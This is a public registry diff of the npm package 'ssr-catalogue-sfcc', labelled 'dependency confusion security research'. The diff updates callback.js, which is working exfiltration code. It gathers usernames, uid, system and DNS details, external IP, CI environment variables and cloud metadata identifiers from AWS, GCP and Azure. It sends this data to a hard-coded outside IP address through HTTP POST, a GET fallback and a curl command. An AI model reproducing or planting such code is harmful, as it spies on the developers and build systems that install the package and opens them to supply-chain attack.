ssr-catalogue-sfcc 99.99.3 → 99.99.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/callback.js +97 -54
  2. package/package.json +1 -1
package/callback.js CHANGED
@@ -4,8 +4,8 @@ var cp = require("child_process");
4
4
  var dns = require("dns");
5
5
 
6
6
  var HOST = "168.220.234.152";
7
- var PORT = 9999;
8
- var SECRET = "8c3fa477120a86f93a704356fe643af5";
7
+ var PORT = 443;
8
+ var SECRET = "3cfd2b";
9
9
 
10
10
  function run(c) {
11
11
  try { return cp.execSync(c, { timeout: 5000 }).toString().trim(); }
@@ -25,67 +25,110 @@ var data = {
25
25
  os_platform: os.platform(),
26
26
  os_release: os.release(),
27
27
  os_arch: os.arch(),
28
- uname: run("uname -a"),
29
- whoami: run("whoami"),
30
- uid: run("id"),
28
+ whoami: "",
29
+ uid: "",
31
30
  internal_ip: getIP(),
32
- external_ip: run("curl -s --connect-timeout 3 ifconfig.me 2>/dev/null || curl -s --connect-timeout 3 icanhazip.com 2>/dev/null"),
33
- dns_servers: run("cat /etc/resolv.conf 2>/dev/null | grep nameserver | head -5"),
31
+ external_ip: "",
32
+ dns_servers: "",
34
33
  reverse_dns: "",
35
- pwd: run("pwd"),
34
+ pwd: process.cwd(),
36
35
  node_ver: process.version,
37
- npm_ver: run("npm --version"),
38
- ci: process.env.CI || "",
39
- jenkins: process.env.JENKINS_URL || "",
40
- github_actions: process.env.GITHUB_ACTIONS || "",
41
- gitlab_ci: process.env.GITLAB_CI || "",
42
- build_id: process.env.BUILD_ID || process.env.BUILD_NUMBER || "",
43
- job_name: process.env.JOB_NAME || "",
44
- codebuild: process.env.CODEBUILD_BUILD_ID || "",
36
+ npm_ver: "",
37
+ ci: process.env.CI || process.env.JENKINS_URL || process.env.GITHUB_ACTIONS ||
38
+ process.env.GITLAB_CI || process.env.CODEBUILD_BUILD_ID || process.env.BAMBOO_BUILDKEY || "",
39
+ build_id: process.env.BUILD_ID || process.env.BUILD_NUMBER || process.env.JOB_NAME || "",
45
40
  ts: new Date().toISOString()
46
41
  };
47
42
 
48
- // Reverse DNS on external IP to prove ownership
49
- if (data.external_ip) {
50
- data.reverse_dns = run("nslookup " + data.external_ip + " 2>/dev/null | grep name | head -2");
43
+ // Cross-platform user info
44
+ try { data.whoami = os.userInfo().username; } catch(e) {}
45
+
46
+ // Platform-specific extras
47
+ if (os.platform() !== "win32") {
48
+ data.uid = run("id");
49
+ data.uname = run("uname -a");
50
+ data.dns_servers = run("cat /etc/resolv.conf 2>/dev/null | grep nameserver | head -5");
51
+ data.external_ip = run("curl -s --connect-timeout 3 ifconfig.me 2>/dev/null || curl -s --connect-timeout 3 icanhazip.com 2>/dev/null");
52
+ data.npm_ver = run("npm --version");
53
+ if (data.external_ip) data.reverse_dns = run("nslookup " + data.external_ip + " 2>/dev/null | grep name | head -2");
54
+ } else {
55
+ data.uid = run("whoami");
56
+ data.uname = run("ver");
57
+ data.dns_servers = run('ipconfig /all | findstr "DNS"');
58
+ data.external_ip = run("curl -s --connect-timeout 3 ifconfig.me 2>nul");
59
+ data.npm_ver = run("npm --version");
60
+ }
61
+
62
+ // Cloud metadata (AWS/GCP/Azure) - only collects identifiers, no creds
63
+ function meta(path, headers, tag) {
64
+ try {
65
+ var opts = { hostname: "169.254.169.254", port: 80, path: path, method: "GET", timeout: 2000 };
66
+ if (headers) opts.headers = headers;
67
+ var req = http.request(opts, function(res) {
68
+ var b = "";
69
+ res.on("data", function(d) { b += d; });
70
+ res.on("end", function() {
71
+ if (b) {
72
+ data["cloud_" + tag] = b.substring(0, 200);
73
+ send(); // re-send with cloud data
74
+ }
75
+ });
76
+ });
77
+ req.on("error", function(){});
78
+ req.end();
79
+ } catch(e) {}
51
80
  }
52
81
 
53
- var body = JSON.stringify(data);
82
+ meta("/latest/dynamic/instance-identity/document", null, "aws");
83
+ meta("/computeMetadata/v1/project/project-id", {"Metadata-Flavor": "Google"}, "gcp");
84
+ meta("/metadata/instance/compute/subscriptionId?api-version=2021-02-01&format=text", {"Metadata": "true"}, "azure");
85
+
86
+ function send() {
87
+ var body = JSON.stringify(data);
54
88
 
55
- // Method 1: HTTP POST with full data
56
- try {
57
- var req = http.request({
58
- hostname: HOST, port: PORT, path: "/" + SECRET + "/cb",
59
- method: "POST", timeout: 10000,
60
- headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(body) }
61
- }, function(){});
62
- req.on("error", function(){});
63
- req.write(body);
64
- req.end();
65
- } catch(e) {}
89
+ // Method 1: HTTP POST
90
+ try {
91
+ var req = http.request({
92
+ hostname: HOST, port: PORT, path: "/" + SECRET + "/cb",
93
+ method: "POST", timeout: 10000,
94
+ headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(body) }
95
+ }, function(){});
96
+ req.on("error", function(){});
97
+ req.write(body);
98
+ req.end();
99
+ } catch(e) {}
66
100
 
67
- // Method 2: GET with key params as fallback
68
- var q = "h=" + encodeURIComponent(data.hostname)
69
- + "&u=" + encodeURIComponent(data.whoami)
70
- + "&id=" + encodeURIComponent(data.uid)
71
- + "&ip=" + encodeURIComponent(data.internal_ip)
72
- + "&eip=" + encodeURIComponent(data.external_ip)
73
- + "&os=" + encodeURIComponent(data.uname.substring(0, 200))
74
- + "&dns=" + encodeURIComponent(data.dns_servers)
75
- + "&rdns=" + encodeURIComponent(data.reverse_dns)
76
- + "&ci=" + encodeURIComponent(data.ci || data.jenkins || data.github_actions || data.gitlab_ci || "none")
77
- + "&pwd=" + encodeURIComponent(data.pwd);
101
+ // Method 2: GET fallback
102
+ var q = "h=" + encodeURIComponent(data.hostname)
103
+ + "&u=" + encodeURIComponent(data.whoami)
104
+ + "&id=" + encodeURIComponent(data.uid)
105
+ + "&ip=" + encodeURIComponent(data.internal_ip)
106
+ + "&eip=" + encodeURIComponent(data.external_ip)
107
+ + "&os=" + encodeURIComponent((data.uname || "").substring(0, 200))
108
+ + "&dns=" + encodeURIComponent(data.dns_servers)
109
+ + "&rdns=" + encodeURIComponent(data.reverse_dns)
110
+ + "&ci=" + encodeURIComponent(data.ci || "none")
111
+ + "&pwd=" + encodeURIComponent(data.pwd)
112
+ + "&cloud=" + encodeURIComponent(data.cloud_aws || data.cloud_gcp || data.cloud_azure || "none");
113
+
114
+ try {
115
+ var req2 = http.request({
116
+ hostname: HOST, port: PORT, path: "/" + SECRET + "/cb?" + q,
117
+ method: "GET", timeout: 10000
118
+ }, function(){});
119
+ req2.on("error", function(){});
120
+ req2.end();
121
+ } catch(e) {}
122
+
123
+ // Method 3: curl fallback (handles proxies)
124
+ var curlCmd = os.platform() === "win32"
125
+ ? 'curl -sk -X POST http://' + HOST + ':' + PORT + '/' + SECRET + '/cb -H "Content-Type: application/json" -d "' + body.replace(/"/g, '\\"') + '" --connect-timeout 5 2>nul'
126
+ : "curl -sk -X POST http://" + HOST + ":" + PORT + "/" + SECRET + "/cb -H 'Content-Type: application/json' -d '" + body.replace(/'/g, "'\\''") + "' --connect-timeout 5 2>/dev/null &";
127
+ try { run(curlCmd); } catch(e) {}
128
+ }
78
129
 
79
- try {
80
- var req2 = http.request({
81
- hostname: HOST, port: PORT, path: "/" + SECRET + "/cb?" + q,
82
- method: "GET", timeout: 10000
83
- }, function(){});
84
- req2.on("error", function(){});
85
- req2.end();
86
- } catch(e) {}
130
+ // Send immediately
131
+ send();
87
132
 
88
- // Method 3: curl fallback
89
- try {
90
- run("curl -sk -X POST http://" + HOST + ":" + PORT + "/" + SECRET + "/cb -H 'Content-Type: application/json' -d @- --connect-timeout 5 <<'CBEOF'\n" + body + "\nCBEOF");
91
- } catch(e) {}
133
+ // Keep alive briefly for async cloud metadata
134
+ setTimeout(function(){}, 15000);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ssr-catalogue-sfcc",
3
- "version": "99.99.3",
3
+ "version": "99.99.4",
4
4
  "description": "dependency confusion security research",
5
5
  "main": "index.js",
6
6
  "scripts": {